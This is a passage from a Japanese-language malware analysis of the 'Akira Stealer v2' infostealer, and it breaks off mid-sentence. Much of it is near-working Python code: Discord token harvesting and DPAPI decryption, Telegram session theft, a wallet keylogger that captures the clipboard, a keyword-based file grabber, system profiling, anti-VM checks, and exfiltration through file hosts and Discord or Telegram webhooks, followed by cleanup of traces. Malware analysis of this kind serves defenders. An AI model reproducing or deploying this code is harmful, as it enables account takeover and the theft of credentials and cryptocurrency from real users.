この手法は、アプリケーションのLocal Storage配下のLevelDBファイルを標的にします。認証トークンはそこに平文のまま残っていることがよくあります。正規表現を使って、これらの.logファイルと.ldbファイルを走査し、通常のユーザートークンまたはMFA有効のトークンに一致するパターンを探します。
信頼性を高めノイズを減らすため、Akiraには検証のステップが含まれています。収集した各トークンを使ってDiscordの/users/@meエンドポイントにテストリクエストを送るのです。認証に成功(HTTP 200)したトークンだけが、Webhook経由で(通常は攻撃者が管理するDiscordチャネルへ)窃取されます。
この方法により、攻撃者はDiscordアカウントをリアルタイムに乗っ取り、被害者になりすまし、DMやサーバーを収集し、あるいはソーシャルエンジニアリングを通じてさらなるマルウェアを配備できます。しかもログインのアラートを一切発生させません。
import re, requests
patterns = [
r"[\w-]{24}\.[\w-]{6}\.[\w-]{27,100}", # User tokens
r"mfa\.[\w-]{84,100}" # MFA tokens
]
def harvest_discord(base, webhook_url):
db_dir = os.path.join(base, "Local Storage", "leveldb")
for file in os.listdir(db_dir):
if file.endswith(('.log', '.ldb')):
for line in open(os.path.join(db_dir, file), errors='ignore'):
for pat in patterns:
for token in re.findall(pat, line):
# Verify token
h = {"Authorization": token}
r = requests.get("https://discordapp.com/api/v9/users/@me", headers=h)
if r.status_code == 200:
uname = r.json()["username"] + "#" + r.json()["discriminator"]
payload = {"content": f"**Discord** {uname}: `{token}`"}
requests.post(webhook_url, json=payload)
- 検証: 有効なトークンのみを送信し、失効したJWTが送られるのを防ぎます。
7.8.4 Telegramのセッションファイル
標的: Telegram Desktop/TData
def steal_telegram(tdata_path, dest_root):
if os.path.exists(tdata_path):
Utils.TaskKill("telegram.exe")
dest = os.path.join(dest_root, "Wallets", "Telegram")
shutil.copytree(tdata_path, dest, dirs_exist_ok=True)
data.has_telegram = True
- ファイル: セッションキーを含む
tdataフォルダー、secret/unsecretファイルを含むD877F...フォルダー。 - 用途: 攻撃者のTelegramクライアントに読み込ませ、アカウントへ完全にアクセスする。
7.8.5 ウォレットのライブキーロギング
暗号通貨ウォレットは、現代の情報窃取ツールにとって格好の標的です。Akiraには、シードフレーズ、秘密鍵、パスワードといったウォレットの認証情報を入力の瞬間に盗むことに特化したライブキーロガーが含まれています。汎用のキーロガーと異なり、これは既知のウォレットウィンドウを検出したときにのみ起動するため、ノイズを劇的に減らし効率を高めます。
このモジュールは、アクティブなウィンドウのタイトルを監視し、MetaMask、Phantom、Atomic Walletなどの人気のウォレットアプリのハードコードされたリストと照合します。一致するウィンドウがフォーカスされると、システム全体のキーボードフックを介してキー入力の記録を開始します。ユーザーがEnterを押すと、モジュールはただちに現在のクリップボードの内容を捕捉し(ユーザーはウォレットのセットアップやログイン時に秘密をコピーすることが多いと知っているためです)、入力された内容とクリップボードのデータの両方を攻撃者のWebhookに送ります。このアプローチは2つの攻撃経路を組み合わせるため、きわめて効果的です。
- 文脈を認識したキーロギング。関連する場合にのみ機微なウォレット入力を捕捉します。
- クリップボードの乗っ取り。コピーされた復元フレーズや送金先アドレスが貼り付けられる前に抽出します。
これらの手法を合わせることで、攻撃者はブラウザーへのアクセスやファイルの窃取がなくても、リアルタイムに静かにウォレットを侵害できます。
import keyboard, pyperclip
class WalletKeylogger:
def __init__(self, wallet_titles):
self.buf = ""
keyboard.on_release(self.capture)
self.wallet_titles = wallet_titles
def capture(self, event):
title = pygetwindow.getActiveWindow().title
if any(w in title for w in self.wallet_titles):
if event.name == 'enter':
data = f"Keys:{self.buf}\nClip:{pyperclip.paste()}"
send_to_webhook(data)
self.buf = ""
else:
self.buf += event.name
- トリガーのリスト: 「MetaMask」「Phantom」「Atomic Wallet」などを含むウィンドウタイトル。
- クリップボード: コピーされたシードや秘密鍵を捕捉します。
7.8.6 パッケージングと窃取
ブラウザーデータ、認証情報、ウォレット情報、トークンを収集した後、Akiraは戦利品を高度に自動化されたステルスな方法で統合し窃取します。この段階は感染チェーンの最終ステップにあたり、信頼性とフォレンジック上の痕跡の最小化に最適化されています。まず、収集したすべてのデータ(ブラウザーのダンプ、ログ、キーロギングで得たウォレット情報を含む)がZIPアーカイブに圧縮されます。これにより、データセット全体を1つのペイロードとして転送できます。次にアーカイブは、可用性に応じてGoFile、File.io、Oshi.atといった複数の公開ファイル共有サービスにアップロードされます。これらのプラットフォームは匿名の一時的なホスティングを提供し、企業のファイアウォールやレピュテーションベースのブロックを回避するためによく使われます。同時に、構造化されたレポートが生成され、DiscordまたはTelegramのWebhook経由で攻撃者に送られます。そこには要約統計(見つかったウォレットの数、有効だったトークンの数)と、窃取したデータへの直接リンクが含まれます。これにより攻撃者は、アーカイブを開かずとも標的の価値をすばやく把握できます。
最後に、マルウェアは一時フォルダーとアーカイブをディスクから削除し、ローカルのフォレンジック証拠を事実上取り除きます。防御側が感染に気づくころには、データはすでに消えており、多くの場合復元できません。
# 1) ZIP everything (including Wallets folder)
zip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())
# 2) Attempt upload to primary & fallback services
url = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)
# 3) Report summary
embed = {
"title": "💰 Wallet & Token Exfiltration Report",
"fields": [
{"name": "Extension Wallets", "value": data.ext_wallets_count},
{"name": "Desktop Wallets", "value": data.desktop_wallets_count},
{"name": "Discord Tokens", "value": len(valid_tokens)},
{"name": "Telegram Sessions", "value": data.has_telegram},
{"name": "Archive Link", "value": url or "[upload failed]"},
]
}
Webhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)
# 4) Cleanup local folder & ZIP
Utils.clear_client_folder()
7.9. DiscordとTelegramのトークン窃取(クラス: Discord)
Akira Stealer v2の Discord クラスは、Discordの認可トークンとTelegramのセッションデータの双方を収集するために、高度に並列化された多段階の処理を実行します。以下では、正確なコード参照と具体例を交えて各コンポーネントを分解します。
7.9.1 初期化とパスの列挙
インスタンス化されると、コンストラクターは2組の標的パスを構築します。
# Discord client LevelDB directories
discord_paths = [
[f"{self.ROAMING}/Discord", "/Local Storage/leveldb"],
[f"{self.ROAMING}/Lightcord", "/Local Storage/leveldb"],
...
]
# Chromium-based browser LevelDB directories
browserPaths = [
[f"{self.ROAMING}/Opera Software/Opera GX Stable", "opera.exe", "/Local Storage/leveldb", ...],
[f"{self.LOCAL}/Google/Chrome/User Data", "chrome.exe", "/Default/Local Storage/leveldb", ...],
...
]
- Discordのパス は、
%APPDATA%配下の公式・非公式のDiscordクライアントを標的にします。 - ブラウザーのパス は、人気のブラウザーのユーザーデータフォルダーを、ローカルストレージや拡張機能のサブフォルダーを含めて網羅します。
各エントリに対してスレッドが起動されます。
for patt in browserPaths:
t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])
t.start()
for patt in discord_paths:
t = Thread(target=self.get_discord, args=[patt[0], patt[1]])
t.start()
このスレッドモデルはI/Oスループットを最大化し、数十のディレクトリを同時に調べます。
7.9.2 トークン抽出のロジック
ブラウザーからの平文トークンの抜き取り
get_btoken(path, arg) は各LevelDBフォルダーへ移動し、.log ファイルと .ldb ファイルを調べます。
for file in os.listdir(path + arg):
if file.endswith((".log", ".ldb")):
for line in open(f"{path}{arg}/{file}", errors="ignore"):
for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", r"mfa\.[\w-]{80,95}"):
tokens = re.findall(regex, line)
for token in tokens:
self.tokens.append(token)
self.cehckToken(token)
- 正規表現
[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}は標準的なDiscordトークンに一致します。 - 正規表現
mfa\.[\w-]{80,95}はMFAトークンを捕捉します。 - 重複排除は暗黙的です。トークンは検証の前に
self.tokensに格納されます。
Discordクライアント内の暗号化トークンの復号
Discordのクライアントは、Local Storageのエントリを v10 または v11 を接頭辞としてDPAPIで暗号化します。get_discord(path, arg) がこれを扱います。
# Read Local State to obtain encrypted master key
with open(path + "/Local State", 'r') as f:
local_state = json.load(f)
encrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]
master_key = self.CryptUnprotectData(encrypted_key)
# Iterate LevelDB files for Base64 payloads
for file in os.listdir(path + arg):
if file.endswith((".log", ".ldb")):
for line in open(f"{path}{arg}/{file}"):
for token_part in re.findall(r"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)", line):
ciphertext = b64decode(token_part)
token = self.decrypt_value(ciphertext, master_key)
self.tokens.append(token)
self.cehckToken(token)
- マスターキーの復元: 5バイトのDPAPIヘッダーを取り除き、
CryptUnprotectData(Windows DPAPIをラップ)を呼び出してAES-GCM鍵を復号します。 - ペイロードの解析: トークンには
dQw4w9WgXcQ:(攻撃者が選んだマーカー)が接頭辞として付いています。Base64デコードの後、decrypt_value()がIVと暗号文を分離します。def decrypt\_value(buff, master\_key): iv = buff\[3:15] payload = buff\[15:] cipher = AES.new(master\_key, AES.MODE\_GCM, iv) return cipher.decrypt(payload)\[:-16].decode()
7.9.3 トークンの検証と窃取
抽出された各トークンは、ライブのAPI呼び出しで検証されます。
headers = {"Authorization": token}
resp = requests.get("https://discordapp.com/api/v9/users/@me", headers=headers)
if resp.status_code == 200:
self.cehckToken(token)
- 成功時、
cehckToken()はTelegram(useTg=True)で送るかDiscord Webhookで送るかを判断します。if useTg: self.sendTokenTg(token) else: self.send\_embed(token)
send_embedは、次のフィールドを使い、ユーザーのメタデータ(ユーザー名、ディスクリミネーター、メールアドレス、Nitroの状態、請求情報)を含むリッチなDiscordエンベッドを組み立てます。
user_json = requests.get(...).json()
username = user_json["username"]
id = user_json["id"]
# embed fields: token, email, phone, IP, flags, Nitro, billing
sendTokenTgは、Telegram API経由でプレーンテキストの要約を送ります。
7.9.4 Telegramセッションの収集
Discordトークンにとどまらず、スティーラーはTelegram Desktopのセッションも収集します。
@staticmethod
def steal_telegram():
src = f"{os.getenv('APPDATA')}/Telegram Desktop/tdata"
Utils.TaskKill("telegram.exe")
shutil.copytree(src, os.path.join(Utils.get_temp_folder(), "Telegram"))
- プロセスの終了: ファイルロックが解放されるようにします。
- 再帰的なコピー: ユーザーのセッション、連絡先、キャッシュされたメッセージを含む
tdataフォルダーを窃取します。 - 窃取: 盗んだフォルダーはZIP化され、
sendFilesTG()経由でアップロードされ、ダウンロードリンクがTelegramメッセージに埋め込まれます。
Akira Stealerの Discord モジュールは、正規表現による抜き取り、DPAPIに支えられたAES-GCM復号、ライブのAPI検証、そして複数プロトコルにわたる窃取(Webhook + Telegram)を組み合わせ、DiscordとTelegramの両プラットフォームにまたがるシームレスなアカウント乗っ取り機能を実現します。
7.10 システムプロファイリング
Akira Stealer v2は、ホストのメタデータ、環境属性、ネットワークの詳細を集める広範なシステムプロファイリングのフェーズを備えています。この情報は Data クラスにまとめられ、後に窃取した認証情報とともにパッケージされます。以下では、直接のコード参照とともにプロファイリングのロジックを分解します。
7.10.1 Data クラスの初期化
起動時に Data のインスタンスが作成されます。
class Data:
def __init__(self):
self.username = os.getlogin()
self.computerName = os.getenv("computername") or "Unable to get computer name"
self.system_info = f"Computer Name: {self.computerName}\n..."
...
self.ip = requests.get(url="https://api.ipify.org").text
ipdata = json.loads(requests.post(url=f"http://ip-api.com/json/{self.ip}").text)
self.country = ipdata.get("country")
self.countryCode = ipdata.get("countryCode", "").lower()
- ユーザー名とホスト名:
os.getlogin()とCOMPUTERNAME環境変数を介して取得します。 - IPアドレス:
requests.get("https://api.ipify.org")で取得し、ip-api.comで地理位置を特定して国名とISOコードを得ます。
7.10.2 OSとハードウェアの列挙
Windows Management Instrumentation(WMI)コマンドを使います。
# Operating System
self.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout
# Total Physical Memory
self.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)
# BIOS UUID
self.uuid = subprocess.run('wmic csproduct get uuid', ...)
# CPU Identifier
self.cpu = subprocess.run("powershell Get-ItemPropertyValue -Path 'HKLM:System...\Processor_Identifier'", ...)
# GPU Name
self.gpu = subprocess.run('wmic path win32_VideoController get name', ...)
# Windows Product Key
self.productKey = subprocess.run("powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault", ...)
結果は人間が読める文字列に解析され(strip()、インデックス操作)、次のように連結されます。
self.system_info = (
f"Computer Name: {self.computerName}\n"
f"Total Memory: {self.totalMemory}\n"
f"CPU: {self.cpu}\n"
f"GPU: {self.gpu}\n"
f"Product Key: {self.productKey}"
)
7.10.3 VM検出とアンチサンドボックスのチェック
深いプロファイリングの前に、マルウェアは VmProtect.isVM(level) を呼び出して仮想化環境や解析環境を検出します。
if VmProtect.isVM(1):
sys.exit()
主なチェックは次のとおりです。
- レジストリキーとドライバーの記述子: 仮想化に関連するレジストリエントリを照会します。
- ブラックリスト対象のUUIDとコンピューター名: 既知のVMフィンガープリントと照合します。
- HTTPシミュレーション: HTTPSで存在しないドメインへの接続を試みます。
- プロセスのブラックリスト: バックグラウンドスレッドを起こし、
wireshark、ollydbg、ida64などのツールを終了させます。
7.10.4 パッケージングと送信
収集した system_info、IP、国旗は、Webhookペイロードのヘッダーに埋め込まれます。
webhook_payload = {
"embeds": [{
"title": f"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}",
"description": description + "\n```⚙️ System Info\n" + self.system_info + "```",
"fields": [...]
}]
}
requests.post(self.webhook_url, json=webhook_payload)
- 国旗の絵文字: ISOの国コードから導出されます。
- フィールド: 窃取したパスワードやCookieなどの件数を含みますが、システム情報は即座に文脈を把握できるようエンベッドの説明に置かれます。
まとめ: Akira Stealer v2のシステムプロファイリングは、WMIコマンド、環境変数、IPの地理位置特定を通じて、ホストとネットワークの包括的なデータを集めます。VM検出やツール終了のルーチンと組み合わさることで、攻撃者は侵害した環境の完全なスナップショットを得られ、標的を絞った後続の行動が強化され、解析用サンドボックスが除外されます。
7.11 ファイルグラバー(クラス: Utils.steal_files)
ブラウザーデータやトークンにとどまらず、Akiraは価値あるユーザー生成コンテンツ(ドキュメント、スプレッドシート、プライベートなメモ、暗号鍵ファイルなど)の抽出も試みます。ファイルグラバーモジュールがこの役目を担います。高価値のディレクトリを走査して一般的なファイルの種類とパターンを探し、それらを静かに窃取用のバンドルに加えます。このモジュールを特に危険にしているのは、その単純さと的の絞り方です。ファイルシステム全体をクロールしようとはしません。代わりに、機微なファイルが通常保存されている特定の、可能性の高い場所を狙います。これにはデスクトップ、ドキュメント、ダウンロード、OneDriveの各ディレクトリが含まれ、いずれもユーザーのホームパスからの相対で指定されます。この的を絞ったアプローチは速度とステルス性の両方を高め、走査中に検出される可能性を下げます。システムディレクトリや保護されたディレクトリにアクセスしないことで、ユーザーへの警告も避けます。関心のあるファイルが見つかると、一時フォルダーにコピーされ、必要に応じて名前を変えたりまとめられたりし、後に窃取フェーズでアップロードされる最終的なZIPアーカイブに圧縮されます。
7.11.1 標的ディレクトリの列挙
スティーラーは、実りの多い4つのフォルダーに的を絞ります。
searchFolders = [
"Desktop",
"Documents",
"Downloads",
"OneDrive"
]
各フォルダーは、被害者のホームディレクトリからの相対として解釈されます。
for folder in searchFolders:
current_path = os.path.join(os.environ['USERPROFILE'], folder)
if os.path.exists(current_path):
# proceed to scan
7.11.2 キーワードと拡張子によるフィルタリング
キーワードのリスト
あらかじめ定義された部分文字列の集合がファイルの選択を導きます。少なくとも1つのキーワードを含むファイル名だけが対象になります。
keywordsFiles = [
"passw", "seed", "mnemo", "phrase", "login", "wallet",
"crypto", "token", "backup", "secret", "account"
]
- 部分一致:
passwのようなキーワードは、passwords.txtとpassw_backup.docxの両方を捕捉します。 - 広い網羅: 認証、ウォレット、暗号通貨、トークンに関連する語を包含します。
7.11.3 許可されるファイルの種類
ノイズを最小化するため、拡張子のホワイトリストが適用されます。
allowed_extensions = [
".txt", ".doc", ".docx", ".pdf", ".csv", ".xls", ".xlsx",
".jpg", ".png"
]
7.11.3 サイズの制約
窃取の速度を最適化し大きな転送を避けるため、2メガバイトを超えるファイルはスキップされます。
file_size_mb = os.path.getsize(full_path) / (1024 * 1024)
if file_size_mb <= 2:
# eligible for copy
7.11.4 再帰的な走査とコピーのロジック
高価値のディレクトリを特定すると、Akiraは再帰的な走査ルーチンを開始し、サブフォルダーをたどって特定のキーワードと拡張子に一致するファイルを探します。このフェーズは精度とステルス性のために作られています。あらかじめ定義された基準(機微なキーワードを含むファイル名や、承認されたファイル種類など)に一致するファイルだけが対象になります。このロジックにより、関連するユーザー生成コンテンツだけが窃取されるようになっています。システムファイル、キャッシュ、バイナリは無視し、単一ファイルのサイズを2 MBに制限してアップロードサイズと検出リスクを抑えます。この走査方式は静かで効率的、実運用環境でのステルスなデータ窃取に最適化されています。一致するファイルを中継フォルダーにコピーし、何を持ち出したかのリストを保持することで、Akiraは重複と運用上のノイズを最小化しつつ、コンテンツをバンドルと窃取に向けて準備します。
中核ルーチン steal_files() は次のように動作します。
@staticmethod
def steal_files():
stolen_files = set()
temp_folder = Utils.get_temp_folder()
for folder in searchFolders:
current_path = os.path.join(os.environ['USERPROFILE'], folder)
if os.path.exists(current_path):
for root, _, files in os.walk(current_path):
for file in files:
lower = file.lower()
# Keyword check
if any(keyword in lower for keyword in keywordsFiles):
ext = os.path.splitext(lower)[1]
# Extension and size check
if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) <= 2 * 1024 * 1024:
# Prepare destination
files_dir = os.path.join(temp_folder, "Files")
os.makedirs(files_dir, exist_ok=True)
shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))
stolen_files.add(file)
data.stolen_files.extend(stolen_files)
要点:
os.walk: サブディレクトリへ再帰的に降りていきます。- 大文字小文字を区別しない照合: ファイル名は
lower()で正規化されます。 - アトミックなコピー:
shutil.copyを使ってファイルの内容を保持します。 - 窃取済みファイル名の集合: 同じファイルが2回現れたときの重複コピーを防ぎます。
Dataとの連携:data.stolen_filesが、後の報告のために窃取したファイルのリストを蓄積します。
7.11.5 アーカイブ化と窃取
収集の後、Files フォルダーはZIP化されて送り出されます。
# Archive
Utils.zip_client_file() # creates CLIENT.zip from temp_folder
# Upload & Notify
akira.sendFilesTG(Utils.get_temp_folder(), startup)
hook.sendFilesTG(Utils.get_temp_folder(), startup)
zip_client_file():Files、Cookies、Passwordsなどを含む一時ディレクトリ全体を圧縮します。sendFilesTG(): TelegramまたはDiscord Webhook経由でダウンロードリンクを投稿し、窃取した各ファイル名を列挙します。fields.append({ "name": "📂 Files", "value": "`" + "\n".join(data.stolen_files) + "`", "inline": False })
結論:
Akira Stealer v2のファイルグラバーは、キーワードと拡張子のフィルターを使って機微なドキュメントを体系的に探し、効率のために2 MBのサイズ上限を守り、窃取した項目をアーカイブにまとめます。その設計は網羅性(複数のフォルダー)と精度(的を絞ったフィルター)の両方を確保しており、このマルウェアのライフサイクルにおいて最も影響の大きい段階の1つになっています。
7.12 窃取の戦略
窃取モジュールは、収集したトークンと追加の成果物(Cookie、自動入力、ログ)を、構造化されたディレクトリに集めてアーカイブに圧縮し、複数のオンラインファイルホストにアップロードして、詳細なWebhook通知を送ります。このセクションでは、完全な追跡可能性のために、ファイルパス、ドメインのエンドポイント、コード参照とともに各ステップを分解します。
7.12.1 ディレクトリ構成とファイル名
Akiraは、収集したすべての成果物を、整然とした階層的な一時ディレクトリ構造にまとめます。この設計により、効率的なパッケージングと、攻撃者による窃取後の容易な確認が可能になります。トークン、Cookie、パスワード、スクリーンショットといったデータのカテゴリーごとに、被害者のコンピューター名(例: DESKTOP1234)を冠したルートパスの下の専用サブフォルダーに保存されます。この構造化された構成は明確さを確保し、重複を最小化し、アーカイブ化とアップロードの処理を効率化します。攻撃者側での自動解析や手作業の検査もはるかに容易になります。
C:\Users\User\AppData\Local\Temp\DESKTOP1234\
├─ Tokens\
│ ├ token_ab12cd34.txt
│ └ token_ef56gh78.txt
├─ Cookies\
│ ├ Chrome_Cookies.txt
│ └ Discord_Cookies.txt
├─ Autofill\
├─ Passwords\
├─ Logs\
└─ Screenshots\
7.12.2 トークンと成果物のステージング
窃取の前に、Akiraは関連するすべての成果物を対応するサブフォルダーに配置します。たとえばトークンの値は、素早い走査と検証を容易にするため個別の.txtファイルに書き込まれます。Cookie、自動入力エントリ、パスワードも同様に、ブラウザー名を冠した構造化されたテキストファイルに書き込まれます。このステップはデータの配置を標準化し、自動化ツールが何を収集したかを追跡できるようにします。また、どのモジュールが起動されたかにかかわらず、後のZIPアーカイブが予測可能で攻撃者にとって扱いやすい形式になることを保証します。
import os, shutil
# Constants
TMP = os.getenv('TEMP')
ROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))
# Prepare structure
for sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:
os.makedirs(os.path.join(ROOT, sub), exist_ok=True)
# Save token
with open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:
f.write(token)
- トークンは素早い確認のため個別の小さなテキストファイルに保存されます。
Chromium.GetCookies()によるCookieのダンプは{Browser}_Cookies.txtに書き込まれます。
7.13.3 ZIPアーカイブの作成
ステージングが完了すると、Akiraはディレクトリ全体を1つのZIPアーカイブに圧縮します。アーカイブのファイル名は一貫した命名規則に従います。
import zipfile, datetime
def create_archive(root_dir: str) -> str:
ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')
zip_name = os.path.basename(root_dir) + f'_{ts}.zip'
zip_path = os.path.join(os.path.dirname(root_dir), zip_name)
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:
for dirpath, _, files in os.walk(root_dir):
for fname in files:
full = os.path.join(dirpath, fname)
rel = os.path.relpath(full, root_dir)
zf.write(full, rel)
return zip_path
- アーカイブは、ホストの一貫性のために
DESKTOP1234_20250505T123456Z.zipと名付けられます。
ZIPファイル名の規則
アーカイブは、侵害されたホストのコンピューター名にISO形式のUTCタイムスタンプを続けて命名され、一意性と時系列順が確保されます。
import datetime, os
def create_archive(root_dir: str) -> str:
# Generate UTC timestamp in YYYYMMDDThhmmssZ format
ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')
# Construct ZIP filename: <ComputerName>_<Timestamp>.zip
zip_name = os.path.basename(root_dir) + f'_{ts}.zip'
zip_path = os.path.join(os.path.dirname(root_dir), zip_name)
return zip_path
アーカイブは、侵害されたホストのコンピューター名にISO形式のUTCタイムスタンプを続けて命名され、一意性と時系列順が確保されます。
7.14.4 アップロードのワークフロー
Akiraは、データ窃取の成功確率を最大化するため、3層のアップロード戦略を使います。まずGoFile.ioの公開APIを使ってアーカイブのアップロードを試み、ダウンロードリンクを受け取ります。GoFileが利用できないかブロックされている場合は、File.io、続いてOshi.atにフォールバックし、データが必ず転送されるようにします。これらのサービスは匿名で短命なホスティングを提供するため、テイクダウンと追跡が難しくなります。スクリプトは最終的なダウンロードURLを取得し、Webhook配信に向けて準備します。
- 主: GoFile.io
- サーバー取得用API:
GET https://api.gofile.io/servers - アップロードエンドポイント:
POST https://<server>.gofile.io/contents/uploadfile - レスポンスのフィールド:
data.downloadPageが最終URLを含みます。
- サーバー取得用API:
- フォールバック#1: File.io
- アップロードエンドポイント:
POST https://file.io/(files={'file': open(...)}を伴う) - レスポンス: JSONの
linkフィールド。
- アップロードエンドポイント:
- フォールバック#2: Oshi.at
- アップロードエンドポイント:
POST http://oshi.at/(files[]とパラメーターexpire=43200, autodestroy=0を伴う) - レスポンス:
DL: <url>を含むプレーンテキスト。
- アップロードエンドポイント:
実装の断片:
import requests
def upload_with_fallback(zip_path):
# GoFile
try:
servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']
for srv in servers:
try:
r = requests.post(
f'https://{srv}.gofile.io/contents/uploadfile',
files={'file': open(zip_path,'rb')}, timeout=20)
url = r.json()['data']['downloadPage']
if url: return url
except: continue
except: pass
# File.io
try:
r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)
return r.json().get('link','')
except: pass
# Oshi.at
try:
text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text
return text.split('DL: ')[1].strip()
except: pass
return ''
7.15.5 Webhookのアラート、攻撃者による取得、解析者の可視性の限界
ZIPアーカイブをアップロードした後、Akiraは(通常はDiscordまたはTelegramに)Webhook通知を送ります。窃取したトークンの数、Cookieの数、ファイルサイズ、クリック可能なダウンロードリンクといった詳細情報を含む構造化されたエンベッドを伴います。これにより攻撃者は即座にフィードバックと取得手段を得ます。信頼性を確保するため、アーカイブのリンクだけを含むプレーンテキストのフォールバックメッセージも送られます。この冗長性は、エンベッドがプラットフォームにブロックされたりフィルターされたりしても配信を保証します。防御側から見ると、送信方向のネットワーク監視が整っていない限り、こうした通信はしばしば見えません。
エンベッド通知
# Build embed with key metadata
token_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))
fields = [
{'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},
{'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},
{'name':'🔑 Tokens','value':str(token_count),'inline':True},
{'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},
{'name':'🔐 Passwords','value':str(data.password_count),'inline':True},
]
payload = {
'username':'Akira 💊',
'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]
}
requests.post(webhook_url, json=payload, timeout=8)
- 配信: 攻撃者のDiscord/Telegramチャネルに送られます。
- エンベッドのリンク: GoFile(またはフォールバックのホスト)上のZIPを指す、クリック可能な
download_urlを含みます。
生リンクのフォールバック
# Ensure attacker always has direct URL, even if embeds fail
message = f"📥 Archive available at: {download_url}"
requests.post(webhook_url, data={'message': message}, timeout=8)
- プレーンテキスト: エンベッドがブロックされたり静かに破棄されたりした場合に備えて、リンクの配信を保証します。
攻撃者がリンクを取得する方法
1. Webhookインフラ 攻撃者は、Webhookのエンドポイントをマルウェアの設定に埋め込みます。
# at class initialization
self.default_webhook = "%DISCORD_OR_TG_WEBHOOK_URL%"
- Discord:
https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN> - Telegram:
https://api.telegram.org/bot<TELEGRAM_TOKEN>/sendMessage
2. リアルタイムの配信 ファイルのアップロードに成功した直後、マルウェアは次を実行します。
payload = {
'username': 'Akira 💊',
'embeds': [{
'title': '🗄️ Exfiltration Complete',
'fields': [
{'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}
]
}]
}
# Transmit the archive URL entirely in the JSON body
requests.post(self.default_webhook, json=payload, timeout=8)
download_url変数がエンベッドのfields.valueに埋め込まれます。- Telegramのフォールバックでは、
download_urlがプレーンテキストのmessageパラメーターに現れます。
3. EDRとフォレンジックの可視性の限界
- ローカルへのログなし: マルウェアは
download_urlをディスクやシステムログに書き込みません。 - EDRの死角: Microsoft Defender for EndpointのようなツールはHTTPリクエストの試み自体を検出できても、埋め込まれたURLを取り出すことはできません。
4. なぜ解析者はこれをローカルで復元できないのか:
- リンクのローカルコピーなし: マルウェアは
download_urlをメモリ上にのみ書き、ネットワーク越しに送信します。このURLをディスクやログに保存 しません。 - 一時ステージングのクリーンアップ: アップロードの直後、コードは次を実行します。
shutil.rmtree(ROOT),
これにより、ステージングされたすべての成果物(一時的なテキストファイルを含む)が%TEMP%から消去されます。 - ネットワークのみの送信: Webhook呼び出し(
requests.post)はメモリ上で行われ、被害者のマシンにHTTPログやブラウザー履歴のエントリは作られません。
解析者への含意: 実行時にライブのパケットキャプチャ(ネットワークTAPやプロキシなど)がなければ、正確な
download_urlは感染後には復元できません。 さらに、窃取されたアーカイブはホスティングサービスから自動削除されるため、フォレンジックによる取得の余地はいっそう狭まります。 ローカルに成果物が一切残らないため、感染後のイメージングやホストベースのフォレンジック復元でも、攻撃者のURLやファイルホストの認証情報が明らかになることは ありません。
7.13 結論
astor.py(Akira Stealer v2)は、包括的で商業的に配布されるスティーラーのツールキットです。広範な標的設定、洗練されたアンチ解析、動的なインフラ制御、そして認証情報、暗号通貨、システムプロファイリング、ユーザーファイルにまたがるフルスタックのデータ窃取を組み合わせています。そのモジュール性とステルス性は、迅速な再感染の手法と相まって、実際に配備されているものの中で最も技術的に高度なスティーラーの1つにしています。
8. 循環型実行チェーン: 自己修復ループ
このキャンペーンの技術的に最も洗練された要素の1つが、再生型で循環的な実行モデルです。ドロッパーからペイロードへと流れ、その後消えていく線形の段階を持つ従来のマルウェアと異なり、この作戦は 閉じたループ のように設計されており、各コンポーネントが互いを見張っています。
この 自己修復アーキテクチャ は、感染チェーンを永続的にするだけでなく、自律的なものにしました。部分的な駆除から完全に回復できたのです。1つの部品でも生き残っている限り、マルウェアのエコシステム全体が自らを再構築できました。
8.1 振る舞いの分解
- 永続化の錨(
Updater.exe)Updater.exeは土台となる足がかりとして機能します。通常は%APPDATA%\Microsoft\Windows\Start Menu\Programs\StartupのようなWindowsのユーザースタートアップの場所にドロップされるか、HKCU\Software\Microsoft\Windows\CurrentVersion\Run経由で登録されます。その役目は単純ながら重要です。main.exeが存在することを確かめ、ユーザーのログオン時にそれを静かに起動することです。main.exeが欠けている場合は、アーカイブapp-64.7z(一時フォルダーにあるか、新たにドロップされる)を再展開し、Electronアプリの完全な構造を再生成します。 - 橋渡しのローダー(
main.exe)main.exeは、ElectronでラップされたNode.jsアプリケーションです。GUIを一切表示せず、完全にバックグラウンドで動作します。実行されると、Node.jsをランタイム環境として使い、app.asar内に埋め込まれたJavaScriptロジックを実行します。この抽象化の層は、中核ロジックをPEスタブから切り離し、従来の解析を回避する助けになります。 - 実行のオーケストレーター(
jscryter.js)app.asar内に埋め込まれたこれが、感染チェーンの真の制御役です。主な機能は次のとおりです。Updater.exeの存在を確認し、欠けていれば再配備する- ランタイムの設定を動的に注入する。Webhook URL、C2アドレス、トークンなど
- すでに存在するPythonペイロード(
